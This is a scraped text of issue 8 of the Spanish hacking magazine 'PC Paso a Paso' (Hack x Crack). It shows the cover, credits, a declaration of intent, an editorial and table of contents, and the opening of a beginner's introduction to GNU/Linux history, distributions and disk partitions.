SlideShare una empresa de Scribd logo
HACK X CRACK: EMPEZANDO A ESQUIVAR LOS CORTAFUEGOS

                                                                         P
                                                                         A
                                                                         S       NETCAT
                                                                                  PERL
                                                                         O       “PIPES”
                      P A S Oa
                             a
                             a
                             a
                             a
                             a
                             a
                             aa
                              a
                              a
                              a
                              a
                              a
                                             APACHE: Configuración
HACK X CRACK - HACK X CRACK - HACK X CRACK




                                              Comparte ficheros
                                               desde tu propio
                                                Servidor Web
                                             “JUGANDO” de nuevo
                                                con el NETCAT

                                               SERIE RAW
                                                 PROTOCOLOS




                                                                                            FONTANERÍA INFORMÁTICA :
                                                   TEMPLO de
                                                  conocimiento                             “ENCADENANDO PROGRAMAS”
                                              VISUAL BASIC:                                  Penetración Inversa
                                                 “ A R R AY D E
                                                CONTROLES”                                    en PCs Remotos
                                                “VECTORES”
                                                     “OCX “                               SMTP: Descubre los
                                              Nº 8 -- P.V.P. 4,5 EUROS                   protocolos de Internet
                                                                 00008




                                               8 414090 202756
                                                                             Si no entiendes ni una palabra de esta portada, has llegado a
                                                                                LA REVISTA DE INFORMÁTICA QUE ESTABAS ESPERANDO!!!
                                             PC PASO A PASO: UN MODO DISTINTO DE ESTUDIAR INFORMÁTICA
PC
                            P
                            P
                            A
                            A
                                     LOS CUADERNOS DE
                            S
                            S        HACK
                            O
                            O
                                                                   CRACK
  P A S O aa
  P A S Oaa                          www.hackxcrack.com
          a
          a
          a
          a
          a
          a
          aa
           a
           a
           a
           a
           a
           a
           a
           aa
            a
            a
            a
            a




EDITORIAL: EDITOTRANS S.L.            Director de la Publicación
C.I.F:     B43675701                  J. Sentís

                                      E-mail
Director Editorial                    director@hackxcrack.com
I. SENTIS
                                      Diseño gráfico:
E-mail contacto                       J. M. Velasco
director@editotrans.com
                                      Contacto diseñador gráfico
Título de la publicación              grafico@hackxcrack.com
Los Cuadernos de HACK X CRACK.
                                      Redactores
Nombre Comercial de la publicacíón    AZIMUT, ROTEADO, FASTIC, MORDEA, FAUSTO,
PC PASO A PASO                        ENTROPIC, MEIDOR, HASHIMUIRA, BACKBONE,
                                      ZORTEMIUS, AK22, DORKAN, KMORK, MAILA,
Web                                   TITINA, SIMPSIM... ... ... ... ...
www.hackxcrack.com
                                      Contacto redactores
Deposito legal:      B.26805-2002     redactores@hackxcrack.com
Código EAN:          8414090202756
Código ISSN:         En proceso       Colaboradores
                                      Mas de 130 personas: de España, de Brasil, de
                                      Argentina, de Francia, de Alemania de Japón y
                                      algún Estadounidense.

                                      Contacto colaboradores
                                      colaboradores@hackxcrack.com

                                      Imprime
                                      I.G. PRINTONE S.A. Tel 91 808 50 15

                                      Distribución
                                      Coedis S.L. Avda. de Barcelona 225. Molins de Rei.
                                      Barcelona. Tel 93 680 03 60 FAX 93 668 82 59
                                      WEB: www.coedis.com (mapa de distribución en la
                                      web)

                                      © Copyright Editotrans S.L.
                                      NUMERO 8 -- PRINTED IN SPAIN
                                      PERIOCIDAD MENSUAL
DECLARACION DE INTENCIONES
PARA "LOS OTROS":

1.- La intención de la presente publicación NO ES fomentar la piratería           curiosidad deberéis ponerla VOSOTROS, porque los medios los facilitaremos
informática ni la “delincuencia” en la Red.                                       NOSOTROS. En las siguientes líneas os descubrimos cómo podremos
2.- Cualquier texto publicado es VALIDADO por nuestra Asesoría Jurídica,          conseguir nuestros objetivos y definimos algunas de las palabras que más
por lo que advertimos a cualquier persona, empresa u organización de la           han sido violadas y retorcidas en su significado.
inutilidad de cualquier iniciativa jurídica en nuestra contra. Aun así, en caso
de cualquier iniciativa en contra de esta revista, deberá ser debidamente         Hacker: Este término ha sufrido a lo largo de su corta historia una horrible
presentada y resuelta en la Razón Social que figura en nuestros documentos        conspiración perpetrada por la ignorancia de los medios, eso que
de constitución.                                                                  personalmente llamo "periodismo de telediario" (en clara alusión a los
3.- Esta publicación no se hace responsable del mal uso de los conocimientos      ridículos artículos que no hacen mas que intoxicar nuestra percepción de
que se exponen.                                                                   las cosas e insultar nuestra inteligencia). Ese tipo de periodismo unido a
4.- Esta publicación NO FACILITARÁ los datos de nuestros colaboradores            "otros poderes", desde los monopolios que deben justificar su incompetencia
ni el origen de nuestros conocimientos salvo ORDEN JUDICIAL y, aun así,           hasta los gobiernos que deben justificar sus intereses ocultos pasando por
advertimos que algunos de esos colaboradores NO SON CONOCIDOS mas                 la industria del cine (normalmente demonológica) y los medios informativos
que por sus NICKS (alias). Por ello, correrá a cargo de los organismos            "de masas".
pertinentes su “descubrimiento”.
5.- Esta publicación NO SE HACE RESPONSABLE ni tienen por qué COMPARTIR           Pues bien, HACKER no es mas que una persona que posee conocimientos
las opiniones personales vertidas por sus colaboradores, por lo que NO            avanzados sobre una materia en concreto, normalmente relacionados con
SOMOS RESPONSABLES de las mismas.                                                 la tecnología aunque ni mucho menos limitado a ello. Ponen sus aptitudes
6.- Cualquier texto publicado estará bajo las protecciones de DERECHOS            al servicio de un único objetivo: EL CONOCIMIENTO. Desean conocer el
DE AUTOR y no se permite su copia, publicación, modificación o distribución       funcionamiento de "las cosas" y no encuentran límites en sus camino mas
sin antes obtener el permiso de esta editorial. De este punto quedan exentos      que su propia curiosidad. No se dedican a destruir ni a causar estragos
aquellos textos que han sido obtenidos de terceros y/o que están sujetos          entre sus "victimas", no se dedican a robar ni a chantajear ni a regodearse
a otras licencias (ya sean por parte de su autor o por terceros).                 de sus "conquistas", muy al contrario suelen advertir a terceros de las
7.- Si desean ponerse en contacto con nuestro departamento jurídico,              debilidades de sus sistemas y, desgraciadamente, esos "terceros" en lugar
rogamos enviar mail a juridico@hackxcrack.com                                     de agradecerles su aviso se dedican a denunciarlos o perseguirlos… aunque
                                                                                  no siempre es así, por supuesto, muchas compañías y gobiernos han
PARA NUESTROS LECTORES:                                                           aprendido lo valiosos que son los HACKERS y ahora algunos son colaboradores
                                                                                  (o empleados) de estos. BILL GATES es un HACKER (el papá ventanas),
Como podréis ver, esta no es una revista mas, por primera vez tenéis ante         como Linus Torvalds (el papá Linux) o Grace Hooper (la Almirante,
vosotros una publicación LIBRE que os ofrecerá la posibilidad de explorar         creadora del Lenguaje COBOL), los autores del COREWAR Robert Thomas
la red tal y como debe explorarse ;)                                              Morris, Douglas McIlroy y Victor Vysottsky (precursores de los
                                                                                  creadores de virus informáticos), Fred Cohen (el primer investigador y
Esta publicación responde a la pregunta mas veces expuesta en LA RED:             autor de los virus de la historia), Dennis Ritchie y Ken Thompson
¿Como puedo ser un hacker? Bien, ahora seguro que muchos ya se están              ("hacedores" del Lenguaje C y co-creadores del SO UNIX), Gary Kildall
"sonriendo" y pensando lo ilusos que somos al intentar "eregirnos" en             (autor del sistema operativo CMP y CPM/86), Tim Paterson (autor del
"portadores de LA LUZ", pensando que seremos una "escuela de lamers"              Quick & Dirty DOS), Morris (autor de "The tour of the Worm"), Kevin
y similares a otras publicaciones que, entre sus 100 páginas de revista solo      Mitnick (el más buscado por el FBI), Phiber Optik (líder juvenil convertido
contiene 5 de "material utilizable" (si es que puede llamarse así).               en símbolo de los hackers), Richard Stallman (impulsor del "software
                                                                                  libre" y GNU), Johan Helsingius (primer conductor de un Remailer
Pues NO, lo siento, vosotros seréis nuestros jueces y, llegado el caso,           Anónimo), Chen Ing-Hou (autor del virus CIH -Chernobyl- ), Sir Dyistic
NUESTROS VERDUGOS.                                                                 (creadorutor del Back Orifice), David L. Smith (virus Melissa), Reonel
                                                                                  Ramonez (virus LoveLetter), Vladimir Levin (Robó electrónicamente
Nuestro objetivo es: ACABAR CON LA BASURA DE LA RED (lamers y demás               10 millones de dólares al Citibank), y muchos mas. ¿Cómo? ¿Pero no hemos
"esencias") con el único método que conocemos: LA EDUCACIÓN y con un              dicho que los hackers no comenten delitos? Pues NO, vuelve a leer su
única bandera que será por siempre nuestra firma: SOLO EL CONOCIMIENTO            definición… pero claro, de todo hay en la viña del señor, y al igual que hay
TE HACE LIBRE
         LIBRE.                                                                   delincuentes entre el clero hay hackers que en un momento u otro han
                                                                                  ·caido· en la ilegalidad, nadie es perfecto!!!!! … y Bill Gates es un HACKER?
Estos son nuestros pilares: LA EDUCACIÓN Y EL CONOCIMIENTO Para ser
                                                CONOCIMIENTO.                     Por supuesto, solo tienes que leerte su biografía. ¿Sorprendido? Espero
un HACKER (maldita palabra mal entendida por unos y peor utilizada por            que no, porque eso no es nada mas que un cero a la izquierda en comparación
otros) solo hace falta dos cosas: curiosidad y medios, a partir de ahora la       con lo que vas a encontrar en esta revista.




   PC PASO A PASO Nº 8                                                                                                                          Página 3
EDITORIAL
         el director sustituto (segunda
              parte): “asumiendo riesgos”
Por segunda y última vez, vuestro “esclavo” AZIMUT ha
tenido que sustituir a nuestro director en la difícil tarea de
sacar adelante un número más de PC PASO A PASO (Hack
x Crack).




                                                                 INDICE
En este número he tenido que tomar decisiones cuyas
consecuencias (buenas o malas) tendré que sufrir en EL
FORO de -www.hackxcrack.com- Ya sabes que los lectores
(y colaboradores) nos reunimos allí para exponer nuestras
impresiones y compartir conocimientos, pues bien, allí me
tendréis para ser crucificado y dar explicaciones respecto a
este número de PC PASO A PASO.

El contenido del presente número 8 no es, ni de lejos, lo que    3 DECLARACION DE INTENCIONES
tenía pensado publicar en un principio. Decidí dejar los
troyanos en casita y apostar por EL CONOCIMIENTO. Esta           4 EDITORIAL
vez nuestros lectores, TÚ, tendrás que trabajártelo bastante
si quieres seguir avanzando.
                                                                 5 CURSO DE LINUX
- ¿Cómo? ¿Qué? ¿Este mes no tengo un troyano con el que
juguetear?                                                       17 APACHE: COMPARTE ARCHIVOS
Sí, lo tienes, pero tendrás que empezar a tomarte las cosas
en serio: EL PARVULARIO SE HA ACABADO!!!, lo siento,             26 SUSCRIPCIONES
todos sabíamos que este día llegaría y YA HA LLEGADO ;)
                                                                 26 REVERSE SHELL
Este mes te toca instalar LINUX instalar el NETCAT para
                            LINUX,
Linux, compilar en PERL y conocer las “pipes” si quieres
disfrutar de la ración mensual de troyano. Por si te parece      43 GANADOR DEL CONCURSO SUSE LINUX
poco, para colmo, aprenderemos “cositas interesantes” sobre
el protocolo SMTP seguiremos con nuestro curso de Visual
             SMTP,
Basic estudiando unas cosas muy raras llamadas “arrays”
                                                    “arrays”,    44 CURSO DE VISUAL BASIC: MAS CALCULADORA
“vectores” y “controles OCX” ;p y, para rematarlo seguiremos
configurando nuestro propio Servidor Web basado en APACHE        51 CONCURSO DE SUSE LINUX 8.1
y dándole caña al TELNET
                    TELNET.

No, no te dejaremos solo ante tan titánico trabajo, estaremos    52 PROTOCOLOS Y SU SEGURIDAD: SMTP
contigo a cada paso y recuerda algo MUY IMPORTANTE: En
el foro de nuestra Web puedes compartir tus dudas. Nos           65 BAJATE LOS LOGOS DE PC PASO A PASO (HXC)
llegan muchos mails preguntando por los temas explicados
en la revista, pero EL FORO es donde mejor y más rápido
serán respondidas                                                65 COLABORA CON NOSOTROS

Solo me queda dar las gracias a todos los colaboradores y        66 SERVIDOR DE HXC. MODO DE EMPLEO
encomendar mi alma “los dioses” para que PC PASO A PASO
8 sea de TU agrado :)
                                                                 67 NUMEROS ATRASADOS
Un abrazo muy fuerte, atentamente...

   -- AZIMUT, el que durante dos
      meses ha tenido el placer de
      ser tu servidor y “esclavo” --


            “... porque sólo el poder del conocimiento
                                 nos hace libres. “



 Página 4                                                                                        PC PASO A PASO Nº 8
GNU/LiNUX


                      - Presentación y Significado: Software Libre NO ES Software Gratis ;)
                                       - Distribuciones y links de descarga
                              - NETCAT en Linux: Descarga, compilación y ejecución
                                         - Compilando en Perl desde Linux
                                                 - "PIPES" en Linux



          1 - Presentación                                    este S.O. en nuestro ordenador y en el futuro
                                                              iremos profundizando en las muchas facetas
          Algunas personas que son verdaderos hackers         que lo definen (instalación, administración,
          suelen decir que GNU/LiNUX es el mejor S.O.         programación, seguridad, etc...).
          para programar. En la presente serie de artículos
          intentaremos demostrar que esta no es una           En concreto este mes nos centraremos, con el
          afirmación gratuita.                                fin de seguir cierta coherencia con el resto de
                                                              los artículos del presente número, en tres
          Tal vez una de las ventajas más obvias sea          puntos:
          que podemos mirar en sus entrañas, modificar
          todo lo modificable y tener acceso de primera       - Pipes: Como confrontación del uso de una
          mano a todo aquello que se esconde tanto            utilidad en dos SS.OO. distintos. De esta manera
          bajo como sobre un S.O. Sin acceder a oscuros       podremos ir acostumbrándonos al way of life
          trucos ni características no documentadas. Sin      de los sistemas UNiX.
          tener que andar mendigando números de serie         - Perl: Como ejemplo de cómo se utiliza un
          o cracks. Todo lo tendremos ahí, disponible         lenguaje de scripting
          para que tomemos lo que queramos. Y, por            - Netcat: Como ejemplo de cómo obtener el
          una vez, tendremos a la ley de nuestro lado.        código fuente de una aplicación y como a partir
          Este será el objetivo principal de este artículo.   de este generamos el ejecutable.

          ¿Cuál será el precio de tanta maravilla? Trabajo.   Y todo ello tras una extensa presentación de
          Mucho trabajo. En este mundo en el que mucha        GNU/LiNUX.
          gente ha trabajado antes desinteresadamente
          generando información, tecleando líneas de          2- ¿Qué es GNU/LiNUX?
          código que luego ponen a tu disposición, etc...
          Sólo se pide una cosa: Que también se trabaje       Normalmente una forma de definir LiNUX es
          leyendo esa documentación y ese código.             como la de " Sistema Operativo tipo UNiX libre".
          Si no eres de esta opinión, tal vez el mundo        A estas alturas la mayoría de la gente recién
          de GNU/LiNUX en particular y del Software Libre     llegada al mundo de GNU/LiNUX se preguntará
          en general no sea el más adecuado para ti y         si eso de GNU/LiNUX es "otra cosa" parecida
          tarde o temprano te desilusionarás.                 a eso de lo que han oído hablar mucho
                                                              últimamente y que la gente llama LiNUX "a
          Por ahora realizaremos una presentación general     secas". Pues bien, no, no es "otra cosa";
          de lo que es GNU/LiNUX. Veremos cuales son          Estamos hablando de lo mismo. Pero para
          los pasos, independientemente de la                 entender el porqué, conviene referirnos a este
          distribución, que se deben seguir para instalar     S.O. como GNU/LiNUX y no LiNUX, tenemos

PC PASO A PASO Nº 8                                                                                              Página 5
GNU - LINUX - GNU - LINUX - GNU - LINUX - GNU - LINUX - GNU - LINUX - GNU - LINUX - GNU




           que saber primero qué significa LiNUX y qué        operativo UNiX-like , es decir, similar a los
           significa GNU.                                     sistemas UNiX de la época, denominado HURD
                                                              ('Hird of Unix-Replacing Daemons' donde HIRD
           LiNUX, inicialmente, es el fruto de un trabajo     significa 'Hurd of Interfaces Representing Depth'),
           de programación de un chico llamado Linus          con la particularidad de que sería desarrollado
           Torvalds que allá por 1991 mientras estaba         bajo los términos de Free Software (Aplicaciones
           en la universidad de Helsinki pasando frío (digo   Informáticas Libres). Una vez más, a pesar de
           yo) y aprovechando la coyuntura de obtener         lo interesante del tema, debemos de ceñirnos
           su primer i386, decidió realizar su "versión       a una mera presentación. Si queréis ahondar
           mejorada" del S.O. que él manejaba                 más en los términos GNU y Free Software os
           habitualmente: MiNiX. De esta manera obtuvo        recomiendo una visita a http://www.es.gnu.org
           lo que se denomina un kernel o núcleo de S.O.      donde encontraréis la información necesaria.
           que es el corazón de todo S.O.. Desde la
           primera versión operativa de este kernel se        Lo que sí es muy interesante es que a pesar
           unieron a Linus Torvalds una gran cantidad de      de los intentos de realizar un UNiX libre por
           gente que ofreció mejoras e incrementó la          parte de GNU desde 1984, en 1991 se
           funcionalidad de dicho núcleo. Desde entonces,     encuentran todavía en pleno diseño de su
           el desarrollo del kernel de GNU/LiNUX es un        sistema HURD. Por lo demás en estas fechas
           trabajo realizado por muchísimas personas en       GNU ha desarrollado ya una grandísima cantidad
           todo el mundo y supervisado por Linus.             de aplicaciones libres disponibles en código
                                                              fuente y que están disponibles en Internet.
           MiNiX era una herramienta didáctica que            Por otra parte LiNUX es tan sólo un núcleo de
           acompañaba al libro "Modern Operating Systems"     S.O. huérfano que sí ha logrado utilizar muchas
           del eminente profesor Adrew Tanenbaum. MiNiX       de las aplicaciones GNU. Tras decidir Linus que
           era a su vez un S.O. basado en los sistemas        el código del núcleo de su S.O. también se
           UNiX en los que el autor trabajó como              distribuiría bajo los términos de la licencia GNU,
           desarrollador.                                     era una cuestión de conveniencia el surgimiento
           El desarrollo de LiNUX planteó un debate en        de una plataforma mixta cuyo corazón fuera
           ocasiones agrio entre la comunidad MiNiX           el núcleo LiNUX, pero que el resto fuera fruto
           participando en esta "contienda" tanto Linus       del trabajo de GNU.
           Torvalds como A. Tanenbaum. A pesar de ser
           una historia apasionante, tendremos que dejarla    Es por esto que cuando hablamos de un S.O.
           aparcada por ahora. Está ampliamente difundida     LiNUX, estamos refiriéndonos a un sistema
           por Internet la copia del grupo de noticias        GNU/LiNUX.
           donde se desarrolló este debate
           (comp.os.minix ) pero os recomiendo esta           3 - ¿ Cómo puedo conseguir
           página donde se realiza un análisis detallado      GNU/LiNUX?
           de la postura de ambos bandos:
           http://www.cab.u-szeged.hu/local/linux/linux-      Pues de diversas maneras. Antes he mencionado
           obsolote.html (No os asustéis por el húngaro,      que GNU/LiNUX es Software Libre. Esto no
           tan sólo se utiliza en el primer párrafo).         quiere decir que sea gratuito, como dicen en
                                                              algunos sitios ( :oP ) sino que si tú obtienes
           El proyecto GNU (acrónimo recursivo que            una copia, puedes realizar tantas copias como
           corresponde a "GNU is Not UNiX") nace en           quieras, y puedes hacer con estas copias lo
           1984 capitaneado por Richard M. Stallman           que desees: Regalarlas, venderlas, modificarlas,
           con la finalidad de desarrollar un sistema         etc.... Sólo has de cumplir un requisito: Dejar

Página 6                                                                                            PC PASO A PASO Nº 8
GNU - LINUX - GNU - LINUX - GNU - LINUX - GNU - LINUX - GNU - LINUX - GNU - LINUX - GNU




          bien claro al que se lo des, vendas, etc.... que   La que desees. Seguramente ya tienes alguna
          puede hacer lo mismo que has hecho tú y que        referencia. Personalmente te aconsejo que si
          si te piden el código fuente deberás de            quieres algo "a lo XP" o "a lo Mac" escojas
          facilitárselo.                                     entre Mandrake, Red Hat, SuSE..... Son
                                                             distribuciones planteadas hacia un usuario
          Esta manera de hacer las cosas es la que ha        doméstico al que le importa muy poco cómo
          propiciado el que surja el concepto de             están colocados los desagües de su ciudad;
          distribución. Una distribución o distro de         tan solo le interesa que no se le atasque la
          GNU/LiNUX se da cuando una persona, grupo          fontanería doméstica.
          de personas o empresas, deciden crear un           Si por el contrario estás más familiarizado con
          sistema GNU/LiNUX y distribuirlo, ya sea           los sistemas UNiX y no deseas gastarte una
          comercialmente o no. Como a cada hijo de           pasta en una licencia de Solaris (tm) a la hora
          madre nos gustan las cosas a nuestra manera,       de tener un entorno UNiX doméstico, puedes
          es lógico que si te ofrecen la posibilidad de      optar por una Slackware, Debian, Knopix,
          crear un S.O. a tu medida lo hagas si te sientes   Gentoo, etc..... Sin olvidar las arriba
          capaz. Si además puedes fardar delante de la       mencionadas.
          novia o ganar un dinerito con ello, miel sobre
          hojuelas. Las primeras distros surgen              - ¿Cuál es mejor?
          precisamente como trabajo de particulares          Esto es subjetivo. Todo depende de lo que
          (Slackware con Patrick Volkerding a la             quieras hacer. Todas pueden hacer las
          cabeza), luego surgieron las distros tipo "club-   mismas cosas; ahora bien, unas están
          de-amiguetes-que-se-conocen-en-el-cole-con-        concebidas para ser fáciles de manejar a un
          ganas-de-hacer-cosas" como Jurix, y luego los      usuario normal; otras para dotar de la posibilidad
          miembros del club crecen, les salen hipotecas      de adecuar el S.O. a tu hardware de una forma
          como sabañones y montan empresas que se            sencilla, otras para aumentar la seguridad,
          dedican a lo mismo que hacían pero cobrando:       otras para programar.....
          SuSE.
                                                             Si eres recién llegado a GNU/LiNUX comienza
          Este sistema ha venido funcionando muy bien        por una en la que no te sientas cohibido por
          hasta la fecha pues ha mantenido la                el cambio (e.d. una que te recuerde mucho a
          "competencia" entre distribuciones y ha puesto     otro S.O. que hayas manejado). Mandrake,
          en evidencia a los que hace unos años decían       RedHat o Suse serán tu opción.
          que era imposible que saliera nada serio de
          un grupo de adolescentes desperdigados por         - ¿Cuál está en español?
          el orbe. Así se ha logrado simplificar mucho       Todas ellas. Cuando las instalas puedes escoger
          aspectos como la instalación, la disponibilidad    el idioma que desees.
          de aplicaciones, la disponibilidad de
          controladores, etc....                             - ¿Merece la pena comprarla?
                                                             En un país en el que aún se sacan navajas por
          Dicho esto, es fácil de adivinar que si queremos   no pagar una ronda, esta pregunta es muy
          conseguir GNU/LiNUX, debemos de hacernos           interesante. Podría parecer que aquel que paga
          con una distribución. Y es entonces                por algo que puede conseguir gratis es, como
          cuando surgen las cinco preguntas                  poco, bobo. Pues puede que no lo sea. Hoy
          estrella:                                          por hoy recomendaría comprar distribuciones
                                                             a dos tipos de usuario: Por un lado al novatillo
          - ¿Cuál elijo?                                     desorejado y asustadizo (que hemos sido

PC PASO A PASO Nº 8                                                                                               Página 7
GNU - LINUX - GNU - LINUX - GNU - LINUX - GNU - LINUX - GNU - LINUX - GNU - LINUX - GNU




           todos) que se aferra a los manuales como a          Posibilidad D: Revistas sobre GNU/LiNUX. Es
           un salvavidas: Los paquetes comerciales suelen      muy raro que un mes alguna de ellas no regale
           venir con excelentes manuales, asistencia           una distribución. A veces incluso son
           técnica gratuita durante un año, y el derecho       distribuciones que funcionan directamente desde
           a hacer con todo ello lo que le de la gana.         el CD ( live-cd ). Suelen ser muy buena opción
           Cuando el autor de este artículo comenzó con        para echar un vistazo al GNU/LiNUX sin miedo
           GNU/LiNUX hubiese agradecido, no ya un              a cargarnos nada.
           manual en su idioma vernáculo, sino alguien
           con quien hablar de ello.                           Bueno, tras lo dicho, se ve que es muy fácil
                                                               conseguir una distribución; es más, la mayoría
           El segundo tipo de usuarios a los que               de vosotros seguro que tenéis una cerca del
           recomendaría gastarse algo de dinero y entre        ordenador, pero aún no os sentís con fuerzas
           los que me reconozco, serían aquellos que           para afrontar esas historias tenebrosas que
           creen en que el Software Libre es una opción        habéis oído contar sobre discos duros que se
           y que debe ser apoyada en la medida de lo           estropearon, tarjetas 3D que jamás realizaron
           posible.                                            su función, escáneres convertidos en
                                                               estanterías.....
           Finalmente: Aunque decidas comprarte una
           caja que pone Nosequé-Linux, la relación            Ha llegado el momento de la instalación.
           calidad/precio será excelente. Aún no he
           conocido a nadie que se haya arrepentido de         4 - Instalación de GNU/LiNUX
           comprar una distribución GNU/LiNUX en una
           tienda.                                             Este tema será tratado en mayor profundidad
                                                               en números posteriores. De todas formas voy
           Señalar como dato curioso que precisamente          a intentar de dar una descripción general sobre
           las distribuciones más afines al usuario "normal"   la instalación de GNU/LiNUX sin centrarme en
           son las más comerciales. Pero ojo, aún así          ninguna distribución concreta y dar una serie
           siguen siendo Software Libre.                       de consejos que puede que sea de utilidad.

           - ¿Dónde la consigo gratis?                         4.1 - No estás sólo.

           Posibilidad A: En Internet. Hay lugares como        En los 8 años que llevo con GNU/LiNUX aún no
           http://www.linuxiso.org/                   o        me he encontrado con una distribución que en
           http://www.rediris.com donde puedes bajarte         el propio CD de instalación no traiga la
           las imágenes de CD-ROM de la mayoría de las         documentación necesaria para instalar
           distribuciones.                                     GNU/LiNUX. Suele ser documentación específica
                                                               de esa distribución y suele estar disponible en
           Posibilidad B: Pedírsela a un amigo, conocido       varios idiomas. Este es el Punto 0 que a partir
           o similar...                                        de ahora no nos abandonará nunca: Leer
                                                               primero la documentación. Se que cuesta. Yo
           Posibilidad C: Otra manera para los que no          también paso de leerla muchas veces. Yo
           poseen una conexión rápida en casa, es acudir       también tengo que leerla tras haberme tirado
           a los revendedores que te envían contra             de los pelos.
           reembolso los CDs a casa. Es el caso de
           http://www.opencd.com/ y suele ser una opción       Esta documentación suele estar en directorios
           bastante económica.                                 que se llaman Doc, Documentation, Installation,

Página 8                                                                                          PC PASO A PASO Nº 8
GNU - LINUX - GNU - LINUX - GNU - LINUX - GNU - LINUX - GNU - LINUX - GNU - LINUX - GNU




            Installing, etc....

            4.2 - Preparando el sistema                            La misión de este excelente artículo es ofrecerte una
                                                                   presentación de lo que significa GNU/LiNUX y
            Antes de instalar cualquier S.O. conviene              proporcionarte los conocimientos mínimos necesarios para
            recopilar una serie de información sobre nuestro       poder comprender (y seguir) los artículos presentados en
            ordenador con el fin de tenerla a mano en caso         este número 8 de PC PASO A PASO (Los Cuadernos de
            de que la necesitemos durante la instalación.          Hack x Crack): NETCAT, Perl y "pipes".


            Para GNU/LiNUX la información más relevante            Si tienes cualquier duda respecto a los temas en los que no
            suele ser:                                             profundizamos, tienes a tu disposición EL FORO DE
                                                                   HACK X CRACK (www.hackxcrack.com), donde hay una
            Particiones de disco duro: GNU/LiNUX                   sección GNU / LiNUX precisamente para que preguntes
            necesitará de espacio en disco para ser                y disfrutes de un mundo que, quizás a día de hoy,
            instalado. Esto requiere de que dispongamos            desconoces.
            de espacio libre (ojo, con "espacio libre" no
            nos referimos a los MBs libres en C: o D: sino         Tarde o temprano, si sigues leyendo esta revista, te será
            al espacio no asignado a ninguna partición) en         imprescindible tener a mano una instalación de LINUX.
            el disco. Como este no suele ser el caso común         No lo dejes por mas tiempo, decídete YA!!! e inicia de una
            y el que más dolores de cabeza levanta, vamos          vez por todas tu camino en este Sistema Operativo. Esta
            a asumir desde ahora que tenemos un                    editorial está convencida de que, si LINUX fuese el Sistema
            ordenador con un S.O. de Microsoft previamente         Operativo "por defecto" y todo el mundo lo conociese, esta
            instalado y que las particiones creadas por este       revista tendría un nivel que nada tiene que ver con lo que
            ocupan todo el disco duro.                             has visto/leído hasta ahora. Microsoft te lo pone todo "muy
                                                                   fácil", quizás sí, o no, según se mire; pero te oculta (y casi
            En este caso tendremos que reparticionar. El           imposibilita) la posibilidad de APRENDER y entender el
            proceso de reparticionar consiste en cambiar           funcionamiento de "las cosas". Linux es exactamente lo
            de tamaño una partición existente (FAT32,              contrario, te OBLIGA a comprender el funcionamiento de
            NTFS, etc...) reduciéndola de tamaño. De esta          las cosas, esa es, desde nuestro punto de vista, LA GRAN
            manera dispondremos de espacio libre en el             DIFERENCIA.
            disco no asignado a ninguna partición. Esta
            tarea se puede realizar con aplicaciones como          Un abrazo a todos los lectores ;)
            Partition Magic, GNUparted o incluso desde el
            propio proceso de instalación de alguna
            distribución GNU/LiNUX como Mandrake.              Una vez que hemos obtenido espacio libre en
                                                               disco debemos de tener en cuenta como se
                                                               nombran las particiones de disco en GNU/LiNUX
  !            Comentario de...                                para utilizar esta información en el futuro.
                                                               Como heredero que es de sistemas UNiX,
                                                               GNU/LiNUX accede a cualquier dispositivo
  La intención de este artículo NO ES explicar a fondo cómo
                                                               hardware como si de un archivo se tratase.
  se instala una "distro" de LINUX ni entrar de lleno en
                                                               Estos archivos que representan al hardware de
  temas como el "redimensionado" de particiones,
                                                               la máquina (discos duros, memoria, tarjetas de
  configuración de la conexión a Internet en Linux, y muchos
                                                               sonido, etc....) se sitúan en el directorio /dev
  otros temas. Todo eso ya llegará. :)
                                                               (dev, como abreviatura de device, en inglés
                                                               dispositivo ). La manera en que GNU/LiNUX ve

PC PASO A PASO Nº 8                                                                                                  Página 9
GNU - LINUX - GNU - LINUX - GNU - LINUX - GNU - LINUX - GNU - LINUX - GNU - LINUX - GNU




            las particiones de un disco duro será la           Datos de la red: Tanto si tenemos una red
            siguiente:                                         montada en casa o una conexión a Internet
                                                               necesitamos conocer los datos necesarios para
            Para nombrar un disco duro escribimos              configurar nuestra red.
            /dev/hdXY que corresponde a
            "/dispostivo/discoduroXY" (disco duro se escribe   En próximos artículos realizaremos una
            hard disk en inglés y su abreviatura es hd), la    instalación paso a paso. Advierto que nos
            X corresponderá a una letra que nos dirá en        centraremos en GNU/LiNUX-Debian. Las razones
            qué canal IDE se encuentra el dispositivo y la     para ello son que es una distribución 100%
            Y corresponderá a un número de partición           libre y que su instalación puede ser calificada
            dentro de ese dispositivo.                         de "complicada" en comparación con
            Además, si por ejemplo tenemos una unidad          distribuciones como Mandrake, SuSE o RedHat
            de CD-ROM / DVD, nos referiremos siempre a         que son más fáciles de instalar incluso que
            este tipo de unidades como /dev/hdX, sin el        cualquier S.O. de Microsoft.
            número, dado que dentro de un CD-ROM no
            podemos realizar particiones.                      5 - Ya tenemos GNU/LiNUX
                                                               instalado; y ¿ahora, qué?
            Un posible esquema de particiones antes de
            instalar GNU/LiNUX podría ser el siguiente:        Pues a partir de ahora nuestro escenario de
                                                               trabajo va a ser la consola. La consola es el
                                                               medio básico de comunicación con un sistema
                                                               UNiX. Normalmente utilizaremos en la consola
                                                               una shell o intérprete de comandos. La shell
                                                               que viene por defecto en la mayoría de los
                                                               sistemas UNiX es el sh o bash. Para abrir la
            Imaginemos que en el anterior caso mostrado        consola tenemos varias opciones: Si estamos
            deseamos utilizar parte del espacio del disco      en un sistema sin entorno gráfico, la pantalla
            situado como maestro en el canal IDE 1.            mostrará una pantalla similar a esta llamada
            Reparticionando dicho disco duro dejaríamos        pantalla de login:
            un espacio no asignado de por ejemplo 7GB.
            En este espacio es donde crearemos particiones     Si tenemos
            GNU/LiNUX. Recomiendo crear estas particiones      entorno
            desde los propios programas de instalación de      gráfico,
            GNU/LiNUX.                                         también se
                                                               nos pedirá
            Frecuencias de refresco del monitor:               e s t a
            Otro dato relevante y necesario al configurar      información
            GNU/LiNUX       son las frecuencias de             antes de
            refresco horizontal y vertical del monitor,        entrar en él y entonces podremos abrir una
            luego tendremos estos datos a mano.                línea de comandos de dos maneras:
            Se encuentran normalmente en el manual             a) Ejecutando un emulador gráfico de terminal
            del monitor y últimamente no suelen                como rlogin, xterm, kterm, gnome-terminal, etc....
            ser necesarios dado que la mayoría                 b) Pulsando la combinación de teclas
            de las distribuciones lo autodetecta.              <Ctrl>+<Alt>+FX donde X puede ser 1, 2, 3,
            Sí serán necesarios para Debian, Slackware,        4, 5 o 6. Para volver al entorno gráfico tecleamos
